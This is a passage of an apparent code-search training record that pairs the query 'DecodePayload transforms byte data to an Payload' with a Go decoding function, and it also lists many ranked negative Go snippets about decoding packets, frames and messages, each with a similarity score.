k)\n\t}\n\n\troutes := common.Permutations(indices)\n\tnodeCount := len(keys)\n\n\tobj := objectiveFn()\n\tbestDist := int(1e6)\n\tfor _, route := range routes {\n\t\tdist := 0\n\t\tfor i := 0; i < (nodeCount - 1); i++ {\n\t\t\tdist += nodes[keys[route[i]]].links[keys[route[i+1]]]\n\t\t}\n\n\t\tif obj(dist) {\n\t\t\tbestDist = dist\n\t\t}\n\t}\n\n\treturn bestDist\n}", "func main() {\n\t//fmt.Println(findSubstring(\"barfoothefoobarman\", []string{\"foo\", \"bar\"}))\n\t//fmt.Println(findSubstring(\"wordgoodgoodgoodbestword\", []string{\"word\", \"good\", \"best\", \"good\"}))\n\tfmt.Println(findSubstring(\"foobarfoobar\", []string{\"foo\", \"bar\"}))\n}", "func MakeShortestPath(sourceID int) pregol.UDF {\n\treturn func(vertex *pregol.Vertex, superstep int) (bool, map[int]float64) {\n\t\tvar msgs map[int]float64\n\t\tif superstep == 0 {\n\t\t\tif vertex.Id == sourceID {\n\t\t\t\tvertex.Val = 0\n\t\t\t} else {\n\t\t\t\tvertex.Val = math.Inf(+1)\n\t\t\t}\n\t\t}\n\t\tnewMin := false\n\t\tfor _, msg := range vertex.InMsg {\n\t\t\tif msg < vertex.Val {\n\t\t\t\tvertex.Val = msg\n\t\t\t\tnewMin = true\n\t\t\t}\n\t\t}\n\t\tif newMin {\n\t\t\tfor _, edge := range vertex.OutEdges {\n\t\t\t\tmsgs[edge.VerticeID] = vertex.Val + edge.Weight\n\t\t\t}\n\t\t}\n\t\treturn true, msgs\n\t}\n}" ]
[ "0.61018676", "0.58352304", "0.5731135", "0.5677279", "0.5628308", "0.5572174", "0.5571848", "0.55656815", "0.5543317", "0.5511463", "0.5474645", "0.54667777", "0.5453943", "0.544789", "0.5445927", "0.53967124", "0.5385046", "0.53176737", "0.5262621", "0.5243498", "0.5222161", "0.52183986", "0.5213994", "0.5168961", "0.5142081", "0.51304394", "0.5106441", "0.5080798", "0.5030162", "0.5029952", "0.50047153", "0.4997549", "0.4986949", "0.49754757", "0.49678665", "0.49175465", "0.4915006", "0.49050328", "0.4892165", "0.48783162", "0.48539868", "0.48524675", "0.48490527", "0.48315147", "0.4793422", "0.4792043", "0.47697484", "0.476461", "0.47510502", "0.47297743", "0.46827865", "0.46773735", "0.46762663", "0.46599618", "0.4654669", "0.462031", "0.46157193", "0.45970428", "0.45958605", "0.45677742", "0.45592365", "0.45551595", "0.45517078", "0.45474142", "0.4519444", "0.45039576", "0.4503104", "0.44972664", "0.4477447", "0.44711345", "0.44676295", "0.44588318", "0.4458315", "0.44472817", "0.4446324", "0.44461444", "0.44461066", "0.4440308", "0.44348302", "0.44265878", "0.44236472", "0.44221216", "0.4420025", "0.44132334", "0.44128713", "0.43991435", "0.4394146", "0.439134", "0.43785408", "0.43762627", "0.43752474", "0.43595967", "0.43586424", "0.43573233", "0.4354185", "0.43449458", "0.43039706", "0.43003908", "0.43001354", "0.42892855" ]
0.78942955
0
DecodePayload transforms byte data to an Payload
func DecodePayload(data []byte) Payload { e := Payload{} e.Length = binary.LittleEndian.Uint32(data[0:4]) e.Op = data[4] e.Channel = binary.LittleEndian.Uint32(data[5:9]) e.Data = make([]byte, len(data[9:])) copy(e.Data, data[9:]) return e }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (s *Message) DecodePayload(p interface{}) {\n\tif err := json.Unmarshal(s.Payload, p); err != nil {\n\t\tlogrus.Fatal(err)\n\t}\n}", "func DecodePayload(evtID EventType, payload []byte) (interface{}, error) {\n\tt, ok := EvtDataMap[evtID]\n\n\tif !ok {\n\t\tif _, ok := EventsToStringMap[evtID]; ok {\n\t\t\t// valid event\n\t\t\treturn nil, nil\n\t\t}\n\t\treturn nil, &UnknownEventError{Evt: evtID}\n\t}\n\n\tif t == nil {\n\t\treturn nil, nil\n\t}\n\n\tclone := reflect.New(reflect.TypeOf(t)).Interface()\n\terr := msgpack.Unmarshal(payload, clone)\n\treturn clone, err\n}", "func (d *Decoder) decodePayload(p []byte) (ctx *proto.PacketContext, err error) {\n\tctx = &proto.PacketContext{\n\t\tDirection: d.direction,\n\t\tProtocol: d.registry.Protocol,\n\t\tKnownPacket: false,\n\t\tPayload: p,\n\t}\n\tpayload := bytes.NewReader(p)\n\n\t// Read packet id.\n\tpacketID, err := util.ReadVarInt(payload)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tctx.PacketID = proto.PacketID(packetID)\n\t// Now the payload reader should only have left the packet's actual data.\n\n\t// Try find and create packet from the id.\n\tctx.Packet = d.registry.CreatePacket(ctx.PacketID)\n\tif ctx.Packet == nil {\n\t\t// Packet id is unknown in this registry,\n\t\t// the payload is probably being forwarded as is.\n\t\treturn\n\t}\n\n\t// Packet is known, decode data into it.\n\tctx.KnownPacket = true\n\tif err = ctx.Packet.Decode(ctx, payload); err != nil {\n\t\tif err == io.EOF { // payload was to short or decoder has a bug\n\t\t\terr = io.ErrUnexpectedEOF\n\t\t}\n\t\treturn ctx, errs.NewSilentErr(\"error decoding packet (type: %T, id: %s, protocol: %s, direction: %s): %w\",\n\t\t\tctx.Packet, ctx.PacketID, ctx.Protocol, ctx.Direction, err)\n\t}\n\n\t// Payload buffer should now be empty.\n\tif payload.Len() != 0 {\n\t\t// packet decoder did not read all of the packet's data!\n\t\td.log.V(1).Info(\"Packet's decoder did not read all of packet's data\",\n\t\t\t\"ctx\", ctx,\n\t\t\t\"decodedBytes\", len(ctx.Payload),\n\t\t\t\"unreadBytes\", payload.Len())\n\t\treturn ctx, proto.ErrDecoderLeftBytes\n\t}\n\n\t// Packet decoder has read exactly all data from the payload.\n\treturn\n}", "func (d *decoder) Decode(s *bufio.Scanner) (obj interface{}, err error) {\n\tb, err := ReadBytes(s)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(b) == 0 {\n\t\tlog.Err(\"empty or malformed payload: %q\", b)\n\t\treturn nil, ErrBadMsg\n\t}\n\n\tswitch b[0] {\n\tcase STRING:\n\t\treturn decodeString(b)\n\tcase INT:\n\t\treturn decodeInt(b)\n\tcase NIL:\n\t\treturn nil, decodeNil(s)\n\tcase SLICE:\n\t\treturn d.decodeSlice(b, s)\n\tcase MAP:\n\t\treturn d.decodeMap(b, s)\n\tcase ERROR:\n\t\treturn decodeErr(b)\n\t}\n\n\tlog.Err(\"unsupported payload type: %q\", b)\n\treturn nil, ErrUnsupportedType\n}", "func (d *Decoder) readPayload() (payload []byte, err error) {\n\tpayload, err = readVarIntFrame(d.rd)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error reading varint frame: %w\", err)\n\t}\n\tif len(payload) == 0 {\n\t\treturn\n\t}\n\tif d.compression { // Decoder expects compressed payload\n\t\t// buf contains: claimedUncompressedSize + (compressed packet id & data)\n\t\tbuf := bytes.NewBuffer(payload)\n\t\tclaimedUncompressedSize, err := util.ReadVarInt(buf)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error reading claimed uncompressed size varint: %w\", err)\n\t\t}\n\t\tif claimedUncompressedSize <= 0 {\n\t\t\t// This message is not compressed\n\t\t\treturn buf.Bytes(), nil\n\t\t}\n\t\treturn d.decompress(claimedUncompressedSize, buf)\n\t}\n\treturn\n}", "func (p *ubPayload) Decode(enc []byte) (graph.NodePayload, error) {\n\tin := string(enc)\n\tl := in[0] - charOffset\n\tflags, e := strconv.Atoi(in[1 : 1+l])\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\tret := &ubPayload{flags: flags, suffix: in[1+l:]}\n\treturn ret, nil\n}", "func UnmarshalTransactionPayload(r *bytes.Buffer, f *TransactionPayload) error {\n\treturn encoding.ReadVarBytesUint32LE(r, &f.Data)\n}", "func TestDecodePayloadEmpty(t *testing.T) {\n\tassert := assert.New(t)\n\tpayload := bytes.NewBufferString(\"\")\n\n\tdecoded, err := decodePayload(payload.Bytes())\n\n\tassert.Equal(Payload{}, decoded)\n\tassert.Nil(err)\n}", "func DeserializePayload(request []byte, payload interface{}) error {\n\tvar buff bytes.Buffer\n\tbuff.Write(request[commandLength:])\n\tdec := gob.NewDecoder(&buff)\n\n\tif err := dec.Decode(payload); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func TestPayloadDecodert(t *testing.T) {\n\t// s := `42:420[\"chat message with ack\",{\"msg\":\"111\"}]`\n\ts := `43:421[\"chat message with ack\",{\"msg\":\"ää\"}]`\n\t// s := `43:421[\"chat message with ack\",{\"msg\":\"kälä\"}]`\n\n\t// fmt.Println(len([]byte(`21[\"chat message with ack\",{\"msg\":\"ää\"}`)))\n\t// fmt.Println(\"actual length\", len([]byte(`21[\"chat message with ack\",{\"msg\":\"kälä\"}]`)))\n\n\tbuf := bytes.NewBuffer([]byte(s))\n\n\tpayloadDecoder := parser.NewPayloadDecoder(buf)\n\n\tpkgDec, err := payloadDecoder.Next()\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tdefer pkgDec.Close()\n\n\tdecoded := make([]byte, 1024)\n\tn, err := pkgDec.Read(decoded)\n\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tfmt.Println(\"decoded\", n, string(decoded)[0:n])\n\n\tsaver := &FrameSaver{}\n\n\tsaver.data = []FrameData{\n\t\t{\n\t\t\tBuffer: bytes.NewBuffer(decoded),\n\t\t\tType: engineio.MessageText,\n\t\t},\n\t}\n\n\tdecoder := newDecoder(saver)\n\n\tdecodeData := &[]interface{}{&jsonMsg{}}\n\tpacket := packet{Data: decodeData}\n\n\tif err := decoder.Decode(&packet); err != nil {\n\t\tlog.Println(\"socket Decode error\", err)\n\t\tt.Error(err)\n\t}\n\n\terr = decoder.DecodeData(&packet)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tmsg, err := debugJsonMsgData(&packet)\n\tif err != nil {\n\t\tt.Error(err)\n\t}\n\n\tfmt.Println(\"jsonMsg.Msg\", msg.Msg)\n\n\tif msg.Msg != \"ää\" {\n\t\tt.Error(\"Bad msg\", msg.Msg)\n\t}\n\n\t// ret, err := s.socketHandler.onPacket(decoder, &p)\n\n}", "func (r *Reader) ReadPayload() (*zng.Record, []byte, error) {\nagain:\n\tb, err := r.read(1)\n\tif err != nil {\n\t\t// Having tried to read a single byte above, ErrTruncated means io.EOF.\n\t\tif err == io.EOF || err == peeker.ErrTruncated {\n\t\t\treturn nil, nil, nil\n\t\t}\n\t\treturn nil, nil, err\n\t}\n\tcode := b[0]\n\tif code&0x80 != 0 {\n\t\tswitch code {\n\t\tcase zng.TypeDefRecord:\n\t\t\terr = r.readTypeRecord()\n\t\tcase zng.TypeDefSet:\n\t\t\terr = r.readTypeSet()\n\t\tcase zng.TypeDefArray:\n\t\t\terr = r.readTypeArray()\n\t\tcase zng.TypeDefUnion:\n\t\t\terr = r.readTypeUnion()\n\t\tcase zng.TypeDefAlias:\n\t\t\terr = r.readTypeAlias()\n\t\tcase zng.CtrlEOS:\n\t\t\tr.reset()\n\t\tdefault:\n\t\t\t// XXX we should return the control code\n\t\t\tlen, err := r.readUvarint()\n\t\t\tif err != nil {\n\t\t\t\treturn nil, nil, zng.ErrBadFormat\n\t\t\t}\n\t\t\tb, err = r.read(len)\n\t\t\treturn nil, b, err\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tgoto again\n\n\t}\n\t// read uvarint7 encoding of type ID\n\tvar id int\n\tif (code & 0x40) == 0 {\n\t\tid = int(code & 0x3f)\n\t} else {\n\t\tv, err := r.readUvarint()\n\t\tif err != nil {\n\t\t\treturn nil, nil, err\n\t\t}\n\t\tid = (v << 6) | int(code&0x3f)\n\t}\n\tlen, err := r.readUvarint()\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tb, err = r.read(int(len))\n\tif err != nil && err != io.EOF {\n\t\treturn nil, nil, zng.ErrBadFormat\n\t}\n\trec, err := r.parseValue(int(id), b)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\treturn rec, nil, nil\n}", "func DecodeRelayPayload(decryptedCell []byte) []byte {\n\tstart := CmdLength + StreamIDLength + DigestLength + PayloadLength\n\tdata := decryptedCell[start:]\n\treturn data\n}", "func PayloadFromBytes(b []byte) Payload {\n\treturn jsonPayload(b)\n}", "func TestDecodePayloadHappyPath(t *testing.T) {\n\tassert := assert.New(t)\n\tbody := `{\"foo\": \"bar\", \"baz\": 1}`\n\tpayload := bytes.NewBufferString(body)\n\n\tdecoded, err := decodePayload(payload.Bytes())\n\n\tassert.Equal(Payload{\"foo\": \"bar\", \"baz\": float64(1)}, decoded)\n\tassert.Nil(err)\n}", "func (msg Msg) Decode(val interface{}) error {\n\ts := rlp.NewStream(msg.Payload, uint64(msg.Size))\n\tif err := s.Decode(val); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (p NullPayload) DecodeBinary(r *io.BinReader) {}", "func (d *Decoder) Decode(payload *[]byte) error {\n\thead := make([]byte, headLen)\n\t_, err := io.ReadFull(d.r, head)\n\tif err == io.ErrUnexpectedEOF {\n\t\treturn ErrShortRead\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\tlineLen, err := strconv.ParseInt(string(head), 16, 16)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif lineLen == 0 { // flush-pkt\n\t\t*payload = nil\n\t\treturn nil\n\t}\n\tif lineLen < headLen {\n\t\treturn ErrInvalidLen\n\t}\n\t*payload = make([]byte, lineLen-headLen)\n\tif lineLen == headLen { // empty line\n\t\treturn nil\n\t}\n\t_, err = io.ReadFull(d.r, *payload)\n\tif err == io.ErrUnexpectedEOF {\n\t\treturn ErrShortRead\n\t}\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func Decode(src []byte) (dst [10]byte)", "func (self *Request) DecodeJsonPayload(v interface{}) error {\n\tcontent, err := ioutil.ReadAll(self.Body)\n\tself.Body.Close()\n\tif err != nil {\n\t\treturn err\n\t}\n\terr = json.Unmarshal(content, v)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (h HandlerPayloadUnmarshal) UnmarshalPayload(r io.Reader, v interface{}) error {\n\treq := &request.Request{\n\t\tHTTPRequest: &http.Request{},\n\t\tHTTPResponse: &http.Response{\n\t\t\tStatusCode: 200,\n\t\t\tHeader: http.Header{},\n\t\t\tBody: ioutil.NopCloser(r),\n\t\t},\n\t\tData: v,\n\t}\n\n\th.Unmarshalers.Run(req)\n\n\treturn req.Error\n}", "func TestDecodePayloadBadJSON(t *testing.T) {\n\tassert := assert.New(t)\n\tbody := `{\"foo\": \"bar\", \"baz\": 1`\n\tpayload := bytes.NewBufferString(body)\n\n\tdecoded, err := decodePayload(payload.Bytes())\n\n\tassert.Nil(decoded)\n\tassert.NotNil(err)\n}", "func DecodePayload(payload []byte) (*TKAQ, error) {\n\treturn &TKAQ{\n\t\tTimestamp: decodeFloat(payload[0:4]),\n\t\tLong: decodeFloat(payload[4:8]),\n\t\tLat: decodeFloat(payload[8:12]),\n\t\tAltitude: decodeFloat(payload[12:16]),\n\t\tRelativeHumidity: decodeFloat(payload[16:20]),\n\t\tTemperature: decodeFloat(payload[20:24]),\n\t\tStatus: payload[24],\n\t\tCO2PPM: decodeUint16(payload[25:27]),\n\t\tTVOCPPB: decodeUint16(payload[27:29]),\n\t\tPM10: decodeUint16(payload[33:35]),\n\t\tPM25: decodeUint16(payload[35:37]),\n\t}, nil\n}", "func Unmarshal(data []byte, handles []zx.Handle, s Payload) error {\n\t// First, let's make sure we have the right type in s.\n\tt := reflect.TypeOf(s)\n\tif t.Kind() != reflect.Ptr {\n\t\treturn errors.New(\"expected a pointer\")\n\t}\n\tt = t.Elem()\n\tif t.Kind() != reflect.Struct {\n\t\treturn errors.New(\"primary object must be a struct\")\n\t}\n\n\t// Get the payload's value and unmarshal it.\n\tnextObject := align(s.InlineSize(), 8)\n\td := decoder{\n\t\tbuffer: data,\n\t\thandles: handles,\n\t\tnextObject: nextObject,\n\t}\n\treturn d.unmarshalStructFields(t, reflect.ValueOf(s).Elem())\n}", "func Decode(data []byte) any {\n\tvar buffer = new(protocol.ByteBuffer)\n\tbuffer.WriteUBytes(data)\n\tvar packet = protocol.Read(buffer)\n\treturn packet\n}", "func Unmarshal(b []byte) (Payload, error) {\n\tvar p Payload\n\terr := json.Unmarshal(b, &p)\n\treturn p, err\n}", "func DecodeDataResponsePayload(payload []byte) DataPacket {\n\tb := make([]byte, 8)\n\tfor i := 0; i < 6; i++ {\n\t\tb[i] = byte(0)\n\t}\n\tb[6] = payload[0]\n\tb[7] = payload[1]\n\tpn := binary.BigEndian.Uint64(b)\n\tb[6] = payload[2]\n\tb[7] = payload[3]\n\tpt := binary.BigEndian.Uint64(b)\n\tdata := payload[4:]\n\treturn DataPacket{\n\t\tPacketNumber: int(pn),\n\t\tPacketTotal: int(pt),\n\t\tData: data,\n\t}\n}", "func (f *Frame) Read(out interface{}) error {\n\tswitch x := out.(type) {\n\tcase *uint8:\n\t\tif f.BytesRemaining() < 1 {\n\t\t\treturn io.EOF\n\t\t}\n\t\t*x = f.Payload[f.payloadPos]\n\t\tf.payloadPos++\n\tcase *uint16:\n\t\tif f.BytesRemaining() < 2 {\n\t\t\treturn io.EOF\n\t\t}\n\t\t*x = binary.LittleEndian.Uint16(f.Payload[f.payloadPos:])\n\t\tf.payloadPos += 2\n\tcase *uint32:\n\t\tif f.BytesRemaining() < 4 {\n\t\t\treturn io.EOF\n\t\t}\n\t\t*x = binary.LittleEndian.Uint32(f.Payload[f.payloadPos:])\n\t\tf.payloadPos += 4\n\tdefault:\n\t\tv := reflect.ValueOf(out)\n\t\tif v.Kind() == reflect.Ptr && v.Elem().Kind() == reflect.Struct {\n\t\t\telem := v.Elem()\n\t\t\tfor i := 0; i < elem.NumField(); i++ {\n\t\t\t\tif err := f.Read(elem.Field(i).Addr().Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t\tif v.Kind() == reflect.Slice {\n\t\t\tfor i := 0; i < v.Len(); i++ {\n\t\t\t\tif err := f.Read(v.Index(i).Addr().Interface()); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn nil\n\t\t}\n\t\tpanic(fmt.Errorf(\"can't decode MSP payload into type %v\", out))\n\t}\n\treturn nil\n}", "func (j *Job) Decode(payload interface{}) error {\n\treturn decode(ContentTypeMsgpack, j.Raw, &payload)\n}", "func (k *KeepassXDatabase) decryptPayload(content []byte, key []byte,\n\tencryption_type string, iv [16]byte) ([]byte, error) {\n\tdata := make([]byte, len(content))\n\tif encryption_type != \"Rijndael\" {\n\t\t// Only Rijndael is supported atm.\n\t\treturn data, errors.New(fmt.Sprintf(\"Unsupported encryption type: %s\",\n\t\t\tencryption_type))\n\t}\n\tdecryptor, err := aes.NewCipher(key)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\t// Block mode CBC\n\tmode := cipher.NewCBCDecrypter(decryptor, iv[:])\n\tmode.CryptBlocks(data, content)\n\treturn data, err\n}", "func DecodePayloadLength(decryptedCell []byte) int {\n\tstart := CmdLength + StreamIDLength + DigestLength\n\tend := start + PayloadLength\n\treturn Decode16BitsInt(decryptedCell[start:end])\n}", "func (msg Msg) Decode(val interface{}) error {\n\ts := rlp.NewStream(msg.Payload, uint64(msg.Size))\n\tif err := s.Decode(val); err != nil {\n\t\treturn newPeerError(errInvalidMsg, \"(code %d) (size %d) %v\", msg.Code, msg.Size, err)\n\t\t// return errors.New(\"(code %x) (size %d) %v\")\n\t}\n\treturn nil\n}", "func (p *MaxiiotPayload) Unmarshal(b []byte) (err error) {\n\tdefer func() {\n\t\tif res := recover(); res != nil {\n\t\t\terr = fmt.Errorf(\"panic: %v\", res)\n\t\t}\n\t}()\n\n\tlength := len(b)\n\tif length < 9 {\n\t\treturn errors.New(\"unspoorts maxiiot device protocol\")\n\t}\n\tflag := 0\n\tp.Header = b[flag]\n\tflag++\n\ttc := &TransCode{}\n\ttc.Unmarshal(b[flag])\n\tp.TransCode = tc\n\tflag++\n\tcopy(p.DeviceID[:], b[flag:flag+2])\n\tflag += 2\n\tswitch p.DeviceID {\n\tcase [2]byte{0x00, 0x06}:\n\t\tsmoke := &Smoke{}\n\t\tif err := smoke.Unmarshal(b[flag : length-2]); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tp.SensorData = smoke\n\tdefault:\n\t\treturn errors.New(\"unspoorts maxiiot device protocol\")\n\t}\n\n\treturn nil\n}", "func DecodePMBUSOperationPayload(payload string) (public.PMBUSOperationPayload, error) {\n\tvar p public.PMBUSOperationPayload\n\tif err := json.Unmarshal([]byte(payload), &p); err != nil {\n\t\treturn p, err\n\t}\n\n\treturn p, nil\n}", "func createPayloadFromPacket(packetReader io.Reader) (*payload, error) {\n\t//read packet length\n\tvar packetLength int32\n\terr := binary.Read(packetReader, binary.LittleEndian, &packetLength)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Unable to read packet length\")\n\t}\n\tbuf := make([]byte, packetLength)\n\terr = binary.Read(packetReader, binary.LittleEndian, &buf)\n\tif err != nil {\n\t\terr = fmt.Errorf(\"read packet body fail: %v\", err)\n\t\treturn nil, err\n\t}\n\t// check length\n\tif packetLength < 4+4+2 {\n\t\terr = errors.New(\"packet too short\")\n\t\treturn nil, err\n\t}\n\tresult := new(payload)\n\tresult.packetID = int32(binary.LittleEndian.Uint32(buf[:4]))\n\tresult.packetType = int32(binary.LittleEndian.Uint32(buf[4:8]))\n\tresult.packetBody = buf[8 : packetLength-2]\n\n\treturn result, nil\n}", "func (b *Bus) decode(msg *Message) error {\n\tmtype := uint8(msg.Payload[len(msg.Payload)-1])\n\trtype, ok := b.messageType[mtype]\n\tif !ok {\n\t\terr := fmt.Errorf(\"Unknown message type: %v\", mtype)\n\t\tlog.Warningf(\"Failed to unmarshal message[payload=%v]: %v\\n\", msg.Payload, err)\n\t\treturn err\n\t}\n\tmsg.Msg = reflect.New(rtype).Interface().(proto.Message)\n\tif err := proto.Unmarshal(msg.Payload[0:len(msg.Payload)-1], msg.Msg); err != nil {\n\t\tlog.Warningf(\"Failed to unmarshal message[%v]: %v\\n\", rtype, err)\n\t\treturn err\n\t}\n\treturn nil\n}", "func (d *Decoder) NextPayload() (Payload, error) {\n\tlengthBytes, err := d.reader.Peek(4)\n\tif err != nil {\n\t\treturn Payload{}, err\n\t}\n\n\tlength := binary.LittleEndian.Uint32(lengthBytes)\n\n\tif length < 4 {\n\t\tlength = 4\n\t}\n\tif length < 9 {\n\t\td.consumeBytes(length)\n\t\treturn Payload{}, ErrInvalidLength\n\t}\n\n\tenvBytes, err := d.reader.Peek(int(length))\n\tif err != nil {\n\t\treturn Payload{}, err\n\t}\n\n\tenv := DecodePayload(envBytes)\n\td.consumeBytes(length)\n\treturn env, nil\n}", "func (d *Data) Decode(frame []byte) error {\n\n\tif len(frame) < 10 {\n\t\treturn errors.New(\"data.Get - Frame too short\")\n\t}\n\td.Header = binary.BigEndian.Uint32(frame[:4])\n\td.Session = binary.BigEndian.Uint32(frame[4:8])\n\tif sarflags.GetStr(d.Header, \"reqtstamp\") == \"yes\" {\n\t\tif err := d.Tstamp.Get(frame[8:24]); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tswitch sarflags.GetStr(d.Header, \"descriptor\") {\n\t\tcase \"d16\":\n\t\t\td.Offset = uint64(binary.BigEndian.Uint16(frame[24:26])) // 2 bytes\n\t\t\td.Payload = make([]byte, len(frame[26:]))\n\t\t\tcopy(d.Payload, frame[26:])\n\t\t\tif len(d.Payload) == 0 {\n\t\t\t\treturn errors.New(\"length of data payload is 0\")\n\t\t\t}\n\t\tcase \"d32\":\n\t\t\td.Offset = uint64(binary.BigEndian.Uint32(frame[24:28])) // 4 bytes\n\t\t\td.Payload = make([]byte, len(frame[28:]))\n\t\t\tcopy(d.Payload, frame[28:])\n\t\tcase \"d64\":\n\t\t\td.Offset = binary.BigEndian.Uint64(frame[24:32]) // 8 bytes\n\t\t\td.Payload = make([]byte, len(frame[32:]))\n\t\t\tcopy(d.Payload, frame[32:])\n\t\tcase \"d128\": // KLUDGE!!!!\n\t\t\td.Offset = binary.BigEndian.Uint64(frame[24+8 : 40]) // 16 bytes\n\t\t\td.Payload = make([]byte, len(frame[64:]))\n\t\t\tcopy(d.Payload, frame[64:])\n\t\tdefault:\n\t\t\treturn errors.New(\"invalid data Frame\")\n\t\t}\n\t\treturn nil\n\t}\n\tswitch sarflags.GetStr(d.Header, \"descriptor\") {\n\tcase \"d16\":\n\t\td.Offset = uint64(binary.BigEndian.Uint16(frame[8:10]))\n\t\td.Payload = make([]byte, len(frame[10:]))\n\t\tcopy(d.Payload, frame[10:])\n\tcase \"d32\":\n\t\td.Offset = uint64(binary.BigEndian.Uint32(frame[8:12]))\n\t\td.Payload = make([]byte, len(frame[12:]))\n\t\tcopy(d.Payload, frame[12:])\n\tcase \"d64\":\n\t\td.Offset = uint64(binary.BigEndian.Uint64(frame[8:16]))\n\t\td.Payload = make([]byte, len(frame[16:]))\n\t\tcopy(d.Payload, frame[16:])\n\tcase \"d128\": // KLUDGE!!!!\n\t\td.Offset = uint64(binary.BigEndian.Uint64(frame[8+8 : 32]))\n\t\td.Payload = make([]byte, len(frame[32:]))\n\t\tcopy(d.Payload, frame[32:])\n\tdefault:\n\t\treturn errors.New(\"invalid data Frame\")\n\t}\n\treturn nil\n}", "func (p *AV1Payloader) Payload(mtu uint16, payload []byte) (payloads [][]byte) {\n\tpayloadDataIndex := 0\n\tpayloadDataRemaining := len(payload)\n\n\t// Payload Data and MTU is non-zero\n\tif mtu <= 0 || payloadDataRemaining <= 0 {\n\t\treturn payloads\n\t}\n\n\t// Cache Sequence Header and packetize with next payload\n\tframeType := (payload[0] & obuFrameTypeMask) >> obuFrameTypeBitshift\n\tif frameType == obuFameTypeSequenceHeader {\n\t\tp.sequenceHeader = payload\n\t\treturn\n\t}\n\n\tfor payloadDataRemaining > 0 {\n\t\tobuCount := byte(1)\n\t\tmetadataSize := av1PayloaderHeadersize\n\t\tif len(p.sequenceHeader) != 0 {\n\t\t\tobuCount++\n\t\t\tmetadataSize += leb128Size + len(p.sequenceHeader)\n\t\t}\n\n\t\tout := make([]byte, min(int(mtu), payloadDataRemaining+metadataSize))\n\t\toutOffset := av1PayloaderHeadersize\n\t\tout[0] = obuCount << wBitshift\n\n\t\tif obuCount == 2 {\n\t\t\t// This Payload contain the start of a Coded Video Sequence\n\t\t\tout[0] ^= nMask\n\n\t\t\tout[1] = byte(obu.EncodeLEB128(uint(len(p.sequenceHeader))))\n\t\t\tcopy(out[2:], p.sequenceHeader)\n\n\t\t\toutOffset += leb128Size + len(p.sequenceHeader)\n\n\t\t\tp.sequenceHeader = nil\n\t\t}\n\n\t\toutBufferRemaining := len(out) - outOffset\n\t\tcopy(out[outOffset:], payload[payloadDataIndex:payloadDataIndex+outBufferRemaining])\n\t\tpayloadDataRemaining -= outBufferRemaining\n\t\tpayloadDataIndex += outBufferRemaining\n\n\t\t// Does this Fragment contain an OBU that started in a previous payload\n\t\tif len(payloads) > 0 {\n\t\t\tout[0] ^= zMask\n\t\t}\n\n\t\t// This OBU will be continued in next Payload\n\t\tif payloadDataRemaining != 0 {\n\t\t\tout[0] ^= yMask\n\t\t}\n\n\t\tpayloads = append(payloads, out)\n\t}\n\n\treturn payloads\n}", "func (rp *RtrPkt) Payload(verify bool) (common.Payload, *common.Error) {\n\tif rp.pld == nil && len(rp.hooks.Payload) > 0 {\n\t\t_, err := rp.L4Hdr(verify)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfor _, f := range rp.hooks.Payload {\n\t\t\tret, pld, err := f()\n\t\t\tswitch {\n\t\t\tcase err != nil:\n\t\t\t\treturn nil, err\n\t\t\tcase ret == HookContinue:\n\t\t\t\tcontinue\n\t\t\tcase ret == HookFinish:\n\t\t\t\trp.pld = pld\n\t\t\t\treturn rp.pld, nil\n\t\t\t}\n\t\t}\n\t}\n\treturn rp.pld, nil\n}", "func (msg *Message) Decode(out interface{}) error {\n\tif msg.reader == nil {\n\t\tmsg.reader = bytes.NewReader(msg.Data)\n\t}\n\tdefer msg.c.decoderState.PushReader(msg.reader)()\n\treturn pvdata.Decode(msg.c.decoderState, out)\n}", "func decodeMsgPack(buf []byte, out interface{}) error {\n\treturn codec.NewDecoder(bytes.NewReader(buf), msgpackHandle).Decode(out)\n}", "func decodeMsgPack(buf []byte, out interface{}) error {\n\treturn codec.NewDecoder(bytes.NewReader(buf), msgpackHandle).Decode(out)\n}", "func vaultDecode(data interface{}) ([]byte, error) {\n\tencoded, ok := data.(string)\n\tif !ok {\n\t\treturn nil, errors.New(\"Received non-string data\")\n\t}\n\n\treturn base64.StdEncoding.DecodeString(prefixRegex.ReplaceAllString(encoded, \"\"))\n}", "func (mb *tcpPackager) Decode(adu []byte) (pdu *ProtocolDataUnit, err error) {\n\t// Read length value in the header\n\tlength := binary.BigEndian.Uint16(adu[4:])\n\tpduLength := len(adu) - tcpHeaderSize\n\tif pduLength <= 0 || pduLength != int(length-1) {\n\t\terr = fmt.Errorf(\"modbus: length in response '%v' does not match pdu data length '%v'\", length-1, pduLength)\n\t\treturn\n\t}\n\tpdu = &ProtocolDataUnit{}\n\t// The first byte after header is function code\n\tpdu.FunctionCode = adu[tcpHeaderSize]\n\tpdu.Data = adu[tcpHeaderSize+1:]\n\treturn\n}", "func decode(id *ID, src []byte) {\n\tencoder.Decode(id[:], src)\n}", "func Unmarshal([]byte) (WireMessage, error) { return nil, nil }", "func (m Message) Payload() ([]byte, error) {\n\tbody, err := 